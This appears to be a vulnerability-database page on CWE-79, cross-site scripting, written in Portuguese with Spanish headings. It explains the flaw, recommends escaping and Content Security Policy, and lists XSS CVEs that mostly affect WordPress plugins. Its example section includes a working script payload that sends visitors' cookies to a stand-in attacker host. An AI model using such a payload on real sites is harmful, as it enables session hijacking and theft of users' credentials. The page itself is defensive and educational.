Fallos del tipo CWE-79

30.465 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-54054MEDIUMWordPress 12 Step Meeting List Plugin <= 3.18.3 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2026-4336MEDIUMUltimate FAQ Accordion Plugin <= 2.4.7 - Authenticated (Author+) Stored Cross-Site Scripting via FAQ ContentEPSS 0.2%CVE-2026-6236MEDIUMPosts map <= 0.1.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'name' Shortcode AttributeEPSS 0.2%CVE-2026-39040MEDIUMBharatMLStack up to and including 1.3.0 is vulnerable to Cross Site Scripting (XSS) via the component Trufflebox UI (trufflebox-ui) in ExpreEPSS 0.2%CVE-2025-59999MEDIUMJunos Space: API Access Profiles page is vulnerable to reflected cross-site script injectionEPSS 0.2%CVE-2026-48530MEDIUMGFI Archiver < 15.14 Stored XSS via CategorizationPolicyWizard.aspxEPSS 0.2%CVE-2026-118783MEDIUMAll-in-One Video Gallery < 5.0.0 - Contributor+ Stored XSS via Shortcode AttributeEPSS 0.2%CVE-2025-11856MEDIUMEventbee Ticketing Widget <= 1.0 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2025-49958HIGHWordPress Robokassa payment gateway for Woocommerce plugin <= 1.8.6 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-53286HIGHWordPress Dropify plugin <= 4.7.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-4279MEDIUMBread & Butter: Content Gating for Verified Leads <= 8.2.0.25 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode AttributesEPSS 0.2%CVE-2025-47570HIGHWordPress WooCommerce Photo Reviews plugin <= 1.3.13 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-72821MEDIUMGrav Form Plugin before 9.1.15 Stored XSS via Radio ToggleEPSS 0.2%CVE-2026-61504MEDIUMRejetto HFS < 3.2.1 Stored XSS via File Names in Basic Web ListingEPSS 0.2%CVE-2025-53225HIGHWordPress e-Boekhouden.nl Plugin <= 1.9.3 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-53330MEDIUMWordPress WP Rentals theme <= 3.16.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-54722HIGHWordPress WooTour plugin <= 3.6.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2024-37229MEDIUMWordPress Blogmentor – Blog Layouts for Elementor plugin <= 1.5 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2024-52882MEDIUMAn issue was discovered in AudioCodes One Voice Operations Center (OVOC) before 8.4.582. Due to improper neutralization of input via the devEPSS 0.2%CVE-2026-114711MEDIUMWordPress MultiVendorX plugin <= 5.0.20 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%